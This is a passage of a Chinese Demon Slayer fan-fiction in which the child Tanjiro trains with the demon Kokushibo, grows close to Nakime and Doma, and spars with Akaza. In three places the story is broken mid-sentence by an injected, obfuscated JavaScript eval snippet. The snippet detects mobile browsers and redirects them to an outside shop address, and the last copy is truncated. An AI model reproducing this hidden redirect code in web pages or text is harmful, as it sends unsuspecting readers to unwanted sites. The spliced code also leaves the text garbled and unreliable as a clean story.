“那、那个……”炭治郎紧握着手有些紧张,气味越来越浓郁,男孩突然有些后悔了。 好悲伤。 “什么……”上弦壹开口。 深吸口气,男孩声音有些发颤,“那个……你、你刚刚好、好厉害。” 黑死牟:“嗯。” “……” “……” 气氛沉静带着些凌乱风中的尴尬。 男孩在心里抓耳挠腮,但面上仍保持着沉稳。 “你……我、我从来没见过这么厉害的,真的很厉害!” 天呐,炭治郎你到底在说什么!男孩在心里七上八下,他甚至想转头就跑,但这样就显得不礼貌了。 黑死牟盯着男孩,“是么……” 男孩点头,“当、当然!” 上弦壹抚摸着自己的刀,眼中的情绪无人参透,“可…境界…还是不如他……” 他?男孩面露疑惑。 而黑死牟望向空中,他陷入了回忆,声音轻盈如喃语。 “我创造…月之呼吸…就是要…成为他…取代他…” 随即,他的眼睛又盯回炭治郎,这次眼中的情绪男孩看清了,有些许怀念,但更多的是憎恶。 “你…很像他。” 炭治郎不知道黑死牟口中的“他”是谁,但听到对方的话,他下意识将心中的疑惑说出口:“为什么要取代或是成为呢?做自己不是更好?” 黑死牟僵愣住。 过了许久,他低声道:“你…不会…理解的。” “也许我理解不了您,但在我看来,能创造这么厉害的刀法,您是独一无二的,从来不该成为谁。”男孩稚嫩的声音一字一句落入上弦壹的耳朵里。 “我知道能被先生提及的那位一定也是很厉害的人,可是自打来到这世界,每个人都是独一无二,您有您的优秀,您口中的“他”也有他的优秀,你们是两个个体呀。”说完,炭治郎朝着黑死牟绽开明媚温柔的笑容。 “我不知道您为什么总是弥漫着伤心的气味,如果有我的原因我向您道歉。”说完,男孩朝着上弦壹鞠了一躬。 说出这段话时,炭治郎忘却了紧张,可反应过来,又担心对方觉得自己冒昧,勾着的身子抬起时,面色更窘迫了些。 怎么说只见过两面的鬼,说这么多是不是…… 男孩手心都是汗,来回摩搓,此时安静地氛围更让炭治郎心里煎熬。 “不关你的事……” “欸?” “伤心……不关你的事……” 这话,是、是说自己多管闲事了?果然是冒犯了吧! 炭治郎没忍住呜咽一声,眼眶有些湿润。 这下轮到黑死牟面露疑惑,“你……哭什么?” “不是说……伤心……与你无关吗?” 黑死牟是看到与自己弟弟有些相像的炭治郎,没忍住把情绪发泄给对方;但想来,他们始终不是一个人,而这小孩又是无惨带回来的,自己这么做着实不妥。 在变鬼后,他的情感在无数日夜里被消耗殆尽,父母妻儿的面孔也早已模糊不清,唯独自己的弟弟继国缘一,所有的悲哀、偏执与不甘皆来自于此。面容在脑海中清晰可见。 他不知道男孩为何会看透有时连自己都不明白的情绪,但炭治郎的一席话和那温柔的笑容却莫名让上弦壹多年的郁结消散了些许。 闻到气味的改变,男孩愣了一瞬,随即意识到对方没那么生气伤心后,笑得眼睛都眯成一条缝。 黑死牟看着炭治郎一会儿哭一会儿笑,莫名其妙的,理解不了,索性直接转过身来继续自己的事。 “那个……黑死牟先生,我可以留下来看你的练习吗?” 黑死牟没说话,正当炭治郎以为对方不愿意准备请辞的时候。 低沉的嗓音传来。 “随便你。” 这是答应了! “好耶,谢谢先生!” 说着男孩坐在地上看着上弦壹再度挥起刀。兴奋地身体也跟着来回摇晃,就是……总感觉自己好像忘记了什么事情? 另一边始终未等到炭治郎过来听曲的鸣女,弦音比平日急躁了些许。 被传送回来摔了个屁股朝天的鬼们刚想爆粗口就被鸣女身上的低气压给吓得瑟瑟发抖。 “哎呦,鸣女小姐这是怎么了,谁惹你啦~我帮你说教说教?”刚被鸣女传送过来的童磨笑嘻嘻地凑过去。 “哎呀~上次我还没有好好看看大人养得那个小孩就被你送回去了,听说你们俩关系不错,怎么没见到他?” 鸣女握着琵琶的手一紧,“滚。” 弦声响起,鬼再次原地消失。 ……………… 极乐教里,教徒正在打扫卫生,他们教主突然从天而降在人面前摔了个底朝天。 “教、教主大人?”女人被吓了一跳,担忧地望向童磨。 “安啦~安啦~我没事。”童磨起身拍了拍身上的泥尘,嘴上带着戏虐的笑意,但那双瞳眸仍旧空洞无神。 “哎呀呀~突然发现了有趣的东西。” ————————— 炭治郎终于想起忘了什么,赶过去时,鸣女背对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17575955|205012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着他,怎么说话都不肯搭理。 但空气中却并没有生气的气味,炭治郎嘻嘻一笑,上前一把抱住鸣女,温嫩的脸颊贴上对方的两侧。 “对不起呀鸣女姐姐,下次再也不会了,我保证,原谅炭治郎嘛~” 那双红海般的眼睛真诚盯着对方,任谁都难以招架,更何况鸣女也并未真的生气。 鬼嘴角勾起一抹细微的笑容,琵琶弦音温婉流转。 炭治郎坐在她的旁边,细细聆听。 之后几天炭治郎总会跑去看黑死牟的训练,男孩端正地坐在不远处,眼睛亮晶晶的看着,每当招式结束时便会送上热烈的掌声和夸赞,但只要黑死牟进行下一轮,炭治郎就会安静地坐在那里,绝不打扰。 黑死牟并未理睬炭治郎,默许了他过来观看的行为。 只是他不理解的是,在看了自己一上午的训练之后,男孩还能去听鸣女弹一下午的曲子。 现在人类小孩精力都这么旺盛吗? 无惨最近发现,炭治郎不止和鸣女亲近,不知何时竟也会跑去黑死牟那里。 就连自己在的时候,他也会扭扭捏捏想要和他们待在一起。 鸣女就算了,黑死牟又是怎么回事。 当炭治郎又一次轻声请求想去观看黑死牟训练时,无惨将他揽到自己膝上,手指若有似无地拂过男孩耳侧,声音听不出情绪: “就这么喜欢他?” 语气很轻,却像冰层下悄然蔓延的裂痕。 炭治郎听出了不对,鼻尖充斥着奇怪的气息,他赶忙挥手,“不是的,我最喜欢无惨先生的,我、我只是想学习。” “学习?” 炭治郎点头,“我不敢打扰黑死牟先生,我想如果我多看几遍,说不定我也会学会那么厉害的刀法。” 无惨皱眉,“学那东西做什么,没必要。” “可、可是我想变得厉害,这样我就可以保护无惨先生了。” 无惨笑了声,刚想说“自己很强,用不着炭治郎保护”,可对上少年那双熠熠生辉的双眸时,话音卡住。 他知道他是认真的,这个年仅六岁的孩子想要保护自己。 几千年了,从小到大再到变鬼,从未有谁说要保护自己。 抿了抿唇,男人摸向少年头顶,细软的发丝与冰凉的手心摩擦,渐渐发热。 “我跟黑死牟说,让他亲自教导你。” 炭治郎惊异地瞪大眼,不可置信,“欸?!可、可以吗?可是先生应该很忙的吧……” 无惨想到什么,冷笑一声,“他的那些招式都练了百年了,不差这小段,放心。” 炭治郎知道鬼是没有年龄限制的,永葆青春,永生不死。 但还是惊异地瞪大眼,“黑、黑死牟先生活了这么久吗?!” 无惨点头,“嗯,想活多久,就活多久,所以炭治郎想变鬼吗?” 突然问变鬼的问题,男孩一时愣住,随即低下头,“我……” 看他这副样子就知答案,无惨无奈地叹口气,“罢了,我不逼你。”反正是早晚的事。无惨在心里补充。 炭治郎开心地抱住无惨,“谢谢无惨先生,最喜欢你啦!” 无惨回抱男孩,“乖。” 无惨先生真的好好哦……炭治郎想。 ———————— 黑死牟被无惨叫过去时还以为是要指派什么任务。 任务是给了,但内容有些意外。 黑死牟:“你…让我…教导他…呼吸法?” 翻看资料的无惨斜睨了对方一眼,“怎么,有问题?” 黑死牟张口想说什么,但最终只是摇头。 “无所谓……” “不止呼吸法,你会什么就教他什么。”无惨把书放下,想到什么恶劣地笑了声,“也许你也可以体验一下当老师的感觉。” “……” ———————— “鸣女姐姐鸣女姐姐,我马上要跟着黑死牟先生学习剑法啦,好开心!” 男孩躺在鸣女的腿上,少年语气兴奋,一想到这个,眼神就亮晶晶的。 弦音顿住,鸣女的手抚上炭治郎的头。 “不要受伤。” “嗯!” 4. 第 4 章 炭治郎的学习之路并不顺利,黑死牟比男孩想象中的还要严苛。 然而无论跌倒多少次,受伤多重,炭治郎始终没有放弃。每一次,他都会咬紧牙关,挣扎起身,再次握紧手中的木刀。 最初,黑死牟以为这孩子不过是一时兴起,便刻意安排了远超其年龄负荷的训练,试图逼退他。 可炭治郎从未抱怨过一句,哪怕浑身是伤、血迹斑斑,也会笑着站起来继续。 不知不觉间,黑死牟也认真了起来。 ………… 炭治郎浑身是血地倒在地上,牙断了两颗,每次喘息都带着血沫。剧痛让他的眼眶不受控制地泛红,他用力吸了吸鼻子,把眼泪忍了回去,颤巍巍地撑起身体,“先、先生,再来!” “今天……结束吧……”黑死牟收刀入鞘,注视着那道摇摇欲坠却仍试图站稳的小身影。 炭治郎只觉得天旋地转,勉强吸了两口气,视野便彻底颠倒倾覆—— 男孩晕了过去。 黑死牟拎起昏迷的少年,准备将其交给鸣女。途中,男孩在无意识中发出细微的呜咽:“疼……” 黑死牟脚步几不可察地一顿,于是换了个姿势将男孩扛在肩上。 “你……照顾他……”将男孩扔向鸣女,无视对方投来的瞪视,径直离开。 炭治郎醒来时,自己已经身在房间,身上的伤也被上药包扎好。 炭治郎忍着痛缓慢起身,却被赶来的鸣女给拦下。 “不要起来,伤没好。”鸣女将男孩又扶着躺在床上。 “姐姐,我没事的。” 鸣女可不听这一套,愣是不准炭治郎起来。 “最近不要训练了,养好伤最重要。” 无奈被按在床上的炭治郎只得点头。 但等鸣女走后,没过一会儿,男孩从就被窝里拱出来,悄悄溜出去。 但一手手扯住了他的衣领,将人拉住。 “去哪儿?”熟悉的雪松冷香气息包裹住他,炭治郎立马知道身后是谁。 一股心虚感骤然升起,他缓缓转过头,脸上挤出一个讨好的笑容。 “无、无惨先生,这么晚了……您怎么还没回房休息?” 无惨嘴角噙着笑,可那笑容里没有温度,空气里弥漫的气息更与这份笑意截然相反。 “来看看你。” 男人的目光缓缓扫过炭治郎全身。 炭治郎身上缠满了绷带,隐约还能看见底下渗出的血迹。无惨心头莫名升起一股烦躁,胸腔深处似有几处被针刺中般泛起细微的痛感。 “何必这么执着?”他的声音沉了下来,“我足够强大,不需要一个六岁的孩子来保护。” 说完,脸上的笑容终于彻底消失,取而代之的是冰冷的寒意。 炭治郎被无惨吓着了,但他还是忍不住反驳,“我……我会长大的,学这些肯定会受伤我知道的,但我、我就是想如果变强了,以后就可以保护我想保护的人!” 炭治郎微红的眼眶,眼睛却坚定地看向无惨。 撞入那双眼睛里,无惨张嘴,但未吐一言。 四目相对许久,他才伸手摸向男孩的脑袋。 “……有时候真的理解不了你。” 闻言,炭治郎绽开一抹温柔的笑容,上前抱住男人。 ——————— 两个月的学习,炭治郎身体素质明显提高。 黑死牟看着男孩的动作,满意地点头,“不错……现在……可以教你呼吸法了。” 炭治郎笑道:“是!” 时间一点点流逝,男孩刚开始掌握的并不熟练,但后来渐渐成形。 黑死牟:“今天……就到……这里吧。” 看对方要走,炭治郎叫住对方,“那个,先生。” 上弦壹侧头,“什么?” “您……平时有空吗?我想多跟您请教一下。”男孩紧张的说道。 空气静寂了一瞬,紧接着低沉不带情绪的声音响起: “……无所谓。” 说完,男人就离开了。 炭治郎到底与对方相处两个多月,知道黑死牟是同意了。 当即开心的蹦跳起来。 “呦~有什么好事情,这么开心呀。” 轻浮带着笑意的嗓音自身后传来,男孩动作顿住,鼻尖微动,疑惑地转过头。 童磨嘴角带笑地朝着炭治郎微微躬身,“你好呀,小大人~我们又见面了。” 炭治郎不说话,童磨立刻又换上一副难过的表情。 “唉~不记得我了吗,真令鬼伤心。” 男孩看着他,在对方歪着头想问炭治郎在看什么时,轻声开口:“你没有伤心。” 童磨笑容顿了一下,“欸?” 只见男孩突然凑过来,鼻子轻轻抖动,似乎在闻什么。 随即喃喃道:“真的没有……” 童磨挑眉,“没有什么?” 炭治郎:“没有味道。” 男孩抬起眼,望进那双七彩琉璃般的眸子里。 他看见的是一片枯寂与空洞。 “没有悲伤,没有欢乐。” 男孩面露疑惑,“所以,不开心,为什么要笑?” 男孩现在虽无法清晰分辨出气味代表的具体意思,但他知道开心是很舒服的气味,伤心是很难受的气味,而眼前这位鬼先生…… 男孩确定,他什么气味也没有。 ………… 童磨新奇地看着眼前的人类。 他蹲下身,摸着下巴细细打量男孩,语气带着调侃,“嗯——小大人的鼻子这么灵呀~连情绪也能闻出来。” 然而炭治郎却是将手放在上弦贰的头上,轻轻抚摸。 这下童磨真的僵愣住了。 “你还好吗?” 炭治郎的声音很轻,很软。 他望向童磨的那双红色眼眸里,仿佛盛着一片温和的海洋,而此刻,海面上正轻轻笼罩着一层薄雾般的担忧。 “哎呀呀~你是在关心我吗?”童磨笑眯眯地说。 “是呀。”炭治郎直戳了当地承认。 “安啦~我没事,谢谢小大人关心,只是我平时呆在教会里太无聊了,你要去我那里玩嘛?”童磨歪着头笑意盈盈地问。 炭治郎拒绝,“改天吧,还有不要叫我小大人,我有名字,我叫炭治郎。” “炭治郎,真是个可爱的名字呢~” 眼看时间差不多,自己还要去找鸣女姐姐呢。 这样想着的炭治郎朝着童磨挥手,“我要回去了,再见。” 童磨站在原地,也朝着男孩挥手。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17575956|205012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 距离逐渐拉远,童磨的身影渐渐模糊,炭治郎朝后看了眼。 真是个奇怪的鬼。 而目送炭治郎离开的童磨却再度舔了舔自己的上颚。 “真奇怪呀~我应该只对女孩子感兴趣的,但现在——” “好香哦~” 自那天黑死牟答应炭治郎的请求后,这位上弦壹的“噩梦”就开始了。 几乎每时每刻,只要上弦壹闲下来,男孩就跑到他跟前。 “黑死牟先生,这个招式您能再给我示范一下吗?” “……” “黑死牟先生,你看我练得对不对?” “……” “黑死牟先生这个好好吃呀,送给你~” “……” “黑死牟先生!” “…………” 黑死牟打开房门,入眼的就是炭治郎带着笑意兴奋的脸。 黑死牟:“…………” “你到底……” “黑死牟先生,这个送给你呀。”男孩把东西递给上弦壹。 黑死牟下意识伸手接过,那是一枚檀木雕琢的弯月刀穗,木质温润,弧线静谧。此时静静躺在他的掌心。 黑死牟微微一怔。只见少年又向前半步,有些腼腆却语气认真地说道:“是我亲手刻的。您教我月之呼吸,对我来说,您已经是我的老师了。所以……我想送您点什么。” 上弦壹抬起眼,六只金色的眼眸里,映出少年微红的脸颊和温润的笑容。那笑容过于明亮,让他有一瞬间的恍惚。 “谢谢……”黑死牟出声。 见对方没有拒绝,炭治郎在心里松了好大一口气,太好了,收下了! “黑死牟先生,我今天还可以跟您请教呼吸发吗?” “进来吧。” “好耶!” ………… 男孩抱着木刀,端坐在黑死牟身侧,起初还专注聆听,渐渐地,眼皮却开始轻轻发颤。 欸?糟糕!好像有点……不行炭治郎不能睡! 正讲述要领的鬼陡然感觉胳膊一沉,话音顿住,他侧头,就见炭治郎已沉沉靠在了他的臂膀上,呼吸均匀绵长,睡得毫无防备。 突然,少年动了,但并未醒来,而是轻轻抱住上弦壹的胳膊,脸颊来回蹭着对方。 “先、先生,我会努力的。”炭治郎呢喃着。 黑死牟抿唇,很久之后,才发出一声意味不明的—— “嗯。” ———————— 鸣女见炭治郎这么晚都没回来,正要去寻,就看到不远处高大的身影正缓步走来。 黑死牟怀中抱着熟睡的炭治郎,男孩的红发垂落在他臂弯里,随着步伐轻轻晃动。 鸣女上前欲接,他却直接无视,径直走向屋内,俯身将少年小心安置在床铺上。 灯火摇曳,映出床头桌案上散乱的景象——木屑零落、刻刀横斜,一角染血的纱布被解在一旁,血迹已凝成暗红。 上弦壹的目光停驻在那抹血色上,静默如夜。 熟睡的炭治郎隐约感觉手上像被涂了什么,冰冰凉凉的,很舒服,接着手被轻缠起来。 他想醒来,可此时,梦中的自己身在一处黑暗,眼前唯一的光亮是一本从未见过却又感觉很熟悉的“书”。 5. 第 5 章 “这、这是什么地方?”炭治郎恐惧的看向周围。 唯一的光源是在自己眼前浮在半空的“书”。 男孩伸出手,书自动翻阅,是一些图画配着文字,有一些字炭治郎明确记得自己不识,但奇异地却能理解上面的内容。 开头是剑术世家出了一对双生子。 弟弟从小带有红色胎记,且身体羸弱,在家中不受喜爱,而哥哥被当做继承人培养。 但没过多久,家里的主公就发现弟弟比哥哥更具备剑士的天赋,弟弟天生就能理解“通透世界”这让他轻松知道对手的弱点。 家主改变了主意想让弟弟成为继承者。 为了不让哥哥有压力,弟弟很早就离开了家。 画面里,男孩背着行囊向哥哥挥手道别,踏上原本就定好要去寺庙的征途。 炭治郎发现红发男孩的耳上是一对和自己一模一样的日轮耳饰。猛然想起,黑死牟当初有说自己像“他”。 而看向故事里,朝弟弟告别的哥哥,他的身形渐渐与黑死牟重合。 这时故事翻页—— 长大后的弟弟救了遇到危险的哥哥,两人共同加入鬼杀队,但没过多久,弟弟被赶出来,而哥哥也叛变成了鬼。 “鬼杀队?”炭治郎疑惑,“鬼……” 炭治郎有些搞不清楚,索性直接看下去。 当看到书中哥哥鬼化后的样子,炭治郎惊呼一声。 黑、黑死牟先生?! “真、真的是……” 炭治郎懵了一瞬,随即继续往后看。 兄弟二人再度对峙时,弟弟已垂垂老矣,而哥哥依旧是年轻时的样子,而结局是弟弟死在了哥哥的面前。 “怎、怎么这样啊……”炭治郎喃喃。 明明是血脉相连的亲人,最终却走到刀剑相向的地步。 但直到生命的最后一刻,弟弟也没有真的斩杀哥哥。 故事中弟弟最大的愿望只是平淡的过完一生。却因为妻子的死被迫踏上斩鬼的路。 炭治郎小小的脑袋里冒出一个疑惑——— 鬼究竟是好是坏? 男孩想到无惨先生、鸣女姐姐以及黑死牟先生,他们都是鬼,可是他们很好啊。 炭治郎眼露迷茫,他甚至想;自己是在做梦,一切都不是真实的。 也许都是假的。 可……当初黑死牟先生口中想成为的人那是他的痛苦来源。 但书中这位黑死牟先生在弟弟死时也流下了痛苦的眼泪。 此时,书本再次翻页。 空白的纸张上浮现一句话。 ‘好与坏需要你自己去判断,用你的眼睛去看世界。’ ‘但请记住,眼睛有时也会骗人。’ 炭治郎不明白,“书”说眼睛会骗人,那怎样才可以一眼为真? 他将自己疑问说出口,但“书”并没有回答他。而是再次翻页—— 这次,故事的主角变了。 小孩出生在一个以追寻极乐世界为主的教会,因一双异于常人的七彩瞳眸,被自己父母奉为神明下凡。 画面定格在小孩戴着黑色教主帽坐在莲花蓬里。 炭治郎在看到这双眼睛时,脑中立马浮现见到的那位无喜无悲的奇怪鬼先生。 小男孩在一个所谓没有伤痛充满快乐和自由的地方长大,但其实他根本理解不了感情,不明白人类为什么会因为一点小事悲痛欲绝或欣喜若狂。 哪怕是在母亲杀死贪图美色的父亲最后自杀,也没有一丝一毫的悲伤,他是无神论者从不相信神明,直至后来变成鬼。 “没有情感,一直是白纸,那很痛苦吧……”男孩呢喃。 童磨的故事最简单,但却是炭治郎认为最悲哀的。 之后,“书”又展现了新的故事。 炭治郎不认识他们,但并不妨碍他的心情在翻页时所带来的惊骇和难过。 男孩第一次直面地认识到鬼这种生物。 永生之下换来的是空虚。 当最后一则故事结束。 炭治郎低声轻喃,“为什么没有无惨先生?” 无惨先生又经历了什么? 在每一个故事里,鬼曾经是人类,但经历悲惨;是无惨将他们变成了鬼。 “书”上说他是鬼的始祖,具备将人类变为鬼的能力,而这些无惨早就告诉他了。 可其他的事物男孩一概不知。 “书”已来到空白,然而它化为光团进入炭治郎的身体里,那些故事也被深刻在脑海里。 炭治郎醒了。 眼泪从他苏醒的眼中落下,男孩伸手想要抹去,却发现自己手之前受伤的位置被重新包扎好。 男孩起床,鸣女把早饭端了进来,见炭治郎盯着手上的纱布,她解释道:“是黑死牟包扎的。” “欸?!黑、黑死牟先生?” 鸣女点头,想到什么又不爽的“啧”了声。 炭治郎下床走过去抱住鸣女,“早上好呀,鸣女姐姐~”不管怎样他们对自己真的很好,他喜欢他们,炭治郎想。 —————— “黑死牟先生!我来啦!”黑死牟擦着刀刃的动作一顿,他侧头看去,远远的男孩朝他招手。 走到面前,炭治郎直接抱住了对方。 “黑死牟先生谢谢你替我包扎!”说着,软嫩的脸来回蹭着上弦壹的衣服。 黑死牟:“……无事。” “我们今天也继续训练呀~” “嗯……” 猗窝座受到无惨的召唤,刚来时就撞见了找打的东西。 “哎呀,猗窝座阁下好久不见了呢~最近过得可好?”童磨笑意盈盈的把胳膊搭在鬼的肩上。 毫不意外,胳膊被打断了。 “哎呀呀,你每次都对我这么热情~”童磨俏皮地眨了下眼。 猗窝座浑身筋脉暴起,金色瞳眸恶狠狠地瞪着上弦贰。 “闭嘴!” “哎呀呀,脾气还是这么大~” “吵够了吗?” 无惨坐在黑色单人沙发上两腿交叠,手撑着下颚好整以暇地看着他们。 童磨:“哎呀,大人,我们可是最好的朋友怎么会吵架呢~” “滚!”猗窝座一拳打向童磨的面门,上弦贰的头瞬间被打掉一半。 但没过三秒就恢复了。 上弦叁不再搭理一旁叽叽喳喳的恶心玩意,他兢兢业业给无惨汇报情况。 “哎呀真是的,怎么都不搭理人家呀~”童磨露出委屈的模样。 “童磨,如果你再多说一句,我不介意让你头、身分开一会儿。”无惨瞪了上弦贰一眼,言语警告。 感受到来自鬼始祖的压力,童磨脸上的笑容不变,只是举起两只手状似投降,“嘛嘛,我不说话了。” 汇报结束,无惨也回实验室继续实验了。 猗窝座也准备离开,临走前突然改变主意,他朝着鸣女的方向走去。 “上弦壹阁下在哪儿?” 鸣女抬头,猗窝座继续说道:“好久没向他‘请教’了。” 鸣女面部表情的回复:“黑死牟阁下正在教授炭治郎呼吸法,没空。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17575957|205012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 猗窝座皱眉,“炭治郎?新来的鬼?” 鸣女想说什么,一旁未走的童磨过来插话,“炭治郎不是鬼哦,是人类~” 这下猗窝座的眉皱得更紧了,“人类?人类为什么在无限城?” 他问的鸣女,但童磨回答了上弦叁的问题。 “嘛~他是无惨大人新养的宠物哦~” 鸣女“铮——”地一声打断童磨,黑发下的独眼狠瞪向上弦贰,“炭治郎,不是宠物。” 上弦贰笑道:“哎呀呀,忘了,炭治郎和鸣女小姐关系很好呢~哎呀真让人嫉妒,我也很喜欢炭治郎呢~” 随着下一声的“铮”童磨消失在原地。 “劳烦你送我去上弦壹阁下那里。”猗窝座表情淡淡的说道。 鸣女:“我刚才已经说过……”说一半话音顿住,她突然想,若是猗窝座和黑死牟比试的话,炭治郎就可以休息了,说不定能早点过来找自己。 “铮!”上弦叁也消失在原地。 “呼……呼……”炭治郎举着木刀气喘吁吁,但眼神警惕地盯着不远处的上弦壹。 上弦壹收起刀,“结束。” 炭治郎愣住,“欸?这么早?” 黑死牟朝身后瞥了眼,“今天……有访客……来。” 访客? 男孩也朝着上弦壹的身后望去。 就见有着一头桃红色短发,全身布满深蓝色刺青的鬼站在不远处。 他金色刻有上弦叁的瞳眸打量着炭治郎。 “啧,竟然还是个人类小孩。” 炭治郎看着对方,脑海中猛然回忆起那本“书”中提到的—— 猗窝座。 但很快男孩回神,他听到刚刚上弦叁语气里对自己的嫌弃顿时撅起嘴不满道:“人类小孩怎么了,不要小看我!” 上弦叁没有理炭治郎,朝着黑死牟抱拳,“距离我们上一次比试过去许久,这次过来正好再向阁下请教。” 黑死牟看向炭治郎,指着不远处的台阶,“去坐好。” 待看到男孩过去后,头转回猗窝座的方向伸手示意对方:“来。” 猗窝座“啧”了声,心里想人类就是麻烦。 两个上弦之间的切磋开始。 有来有回,但没过多久,上弦叁就隐隐有下风之势。 结果当然毫无疑问,黑死牟赢了。 猗窝座刚要开口说什么,就听不远处的男孩嘟囔。 “还以为多厉害呢,结果输了呀……” 猗窝座:“……” 他猛地瞪向男孩的方向,全身筋脉暴起。 “你说什么?” 炭治郎直白说道:“我说你输了呀,本来就是。” 猗窝座:“…………” 他的手骤然攥紧,指节在用力下泛起青白,“区区人类……”属于上弦的恐怖威压如潮水般涌出,却尚未触及男孩衣角,便被一股更沉重、更古老的力量无声碾碎。 “猗窝座,今天的比试……已经结束。”黑死牟的声音自高处落下,六只眼睛静默地俯视着猗窝座,“你……该离开了……” 话音微顿,继而补充,每个字都带着不容置疑的份量,“他是…大人…带回来的。” 猗窝座紧绷的拳头缓缓松开,喉间溢出一声冰冷的嗤笑,转身欲走,男孩这时开口:“等一下先生!” 黑死牟疑惑地看向炭治郎,而猗窝座则满脸不耐烦地转头。 “干什么?” “我想和你比试一下可以吗?” 沉默短暂地蔓延。 “……哈?” 6. 第 6 章 “我想跟猗窝座先生比试一下可以吗?” “哈?” ………… 猗窝座彻底转过身来,嘴角扯开一个近乎荒谬的弧度。 黑死牟闻言紧皱眉头,“炭治郎。”听不出语气,但炭治郎闻出来了生气的味道。 男孩抱歉地朝自己的老师笑了笑,随即神色认真地看向猗窝座。 “虽然您刚刚输了,但您的招式很厉害,您用的不同于剑术,是类似格斗一样的,我想如果想要进步,和强者切磋是必不可少的,虽、虽然我现在不是很强,但我想变强!” 猗窝座冷嗤一声:“在我手里,你或许连一招都走不过。” 炭治郎直视对方,毫无惧色,“不试试,怎么知道。” 猗窝座眉头拧紧,本想说“弄死了你,会很麻烦”可抬眼间,却撞进一片深红的眸光里。那里面没有退缩,只有灼灼的、近乎燃烧的渴望。 他忽然说不出话来。 那双眼睛深处,是对变强最纯粹的执着。 “啧。”猗窝座烦躁地挠了把头发,侧头瞥向黑死牟,眼神里带着无声的询问。 黑死牟静静地注视着炭治郎。少年执拗的身影连同那双燃着火焰般的深红眼瞳,一并映在他寂静的六只眼眸里。 良久,上弦壹微微颔首。 “可以。” 猗窝座耸肩,表情有点耐人寻味,“行啊,既然阁下同意,那就比吧,不过为了防止你不小心被我弄死,比试中你碰到我的衣服就算你赢。” 炭治郎点头,“谢谢!” 想了想,炭治郎又说:“那假如我赢了,您能答应我,以后不小瞧我可以吗?” 猗窝座这次是笑出声了,即便要求是碰到衣服算赢,但是上弦叁仍然认为对方赢不了。 “行啊。”他答应了。 ———— 鸣女本来美滋滋地等着炭治郎来找自己。 结果就突然得知炭治郎要和猗窝座比试。 鸣女:“……” 她的头感觉有些疼。 鸣女想着要不直接把上弦叁传送走就算了,但黑死牟的声音适时在她脑海中响起。 “我会看着他……那孩子主动提出的……他想变强。” 弦音顿住,久久停寂。 鸣女知道炭治郎一直想要变强,她不该阻止。 但……一想到今天又会看到浑身布满淤青和伤口的男孩,死寂的心脏猛地颤动。 为什么这么执着变强? 还只是个孩子啊…… ————————— 炭治郎换成了真刀,完全不同于木制。握起来有些重,在他的手中仿若会发热。 猗窝座伸了个懒腰,他抬手示意炭治郎,“来。” 炭治郎闭上眼缓慢呼吸,他感受着空气在肺中流转,冰凉的气息顺着特定的路径游走全身。 “月之呼吸壹之型·暗月·宵之宫!” 炭治郎的身影瞬间消失,刀划出一道银白色的弧线,快得几乎看不见。 猗窝座意外地挑眉,小孩比起同年龄甚至年长的鬼杀队成员来说,速度确实快,只可惜…… 猗窝座甚至连脚步都未移动,只微微侧身,刀锋便贴着他的胸膛掠过。 几乎在同一时刻,他右手猛地探出,五指握拳,袭向炭治郎! 男孩急忙旋身闪避,却仍被那凌厉的拳风擦过颈侧,皮肤一阵刺痛。 但炭治郎并未放弃,小小的身影迅速调整位置。每一次呼吸都绵长而稳定,肺部逐渐掌握了熟悉的韵律。 他在调整距离,感受角度,寻找那个最自然的“契机”。 “贰之型·珠华弄月!” 两道伶俐的刃风,带着无数的圆月刃直冲上弦叁。 望着少年身上异常浓烈的“斗气”,猗窝座眼中闪过一抹讶异,他赤手接住了那些攻击。 男孩惊异地看着上弦叁,对于对方的实力更上了一层认知。 好强! 自己、自己能做到吗? 炭治郎深吸口气,迅速调整状态。 他可以的!一定可以! “叁之型厌忌月·销蚀!”连斩出的圆月刃随着刃风划向猗窝座的同时,或大或小的圆月刃在他的周身升起,如环似笼,将上弦叁困锁其中。 “呵。”猗窝座轻哼一声,双臂如霹雳般向四周横扫!仅仅一瞬,月刃组成的圆环便尽数溃散。 然而溃散的月刃并未坠落,反而在他身后重新连结,彼此撞击、迸溅,扬起一片浓密的雾尘。猗窝座侧首的刹那,炭治郎的身影已再度消失。 “暗月!” “想法不错啊,知道先遮蔽视线。”猗窝座的声音穿过尘雾传来,带着笑意,却冰冷如刃,“只可惜,你太弱了。” 白尘之中,一只手突兀地穿出,不偏不倚地握住了斩来的刀刃。下一瞬,猗窝座的另一只拳已袭至炭治郎的胸前! 那是快到无法闪避的一击。 “咔嚓——!” 骨裂的脆响与身体砸落地面的闷响同时炸开。 疼痛让男孩有些呼吸不畅,刀刃支撑着他缓缓起身,一口血吐了出来。 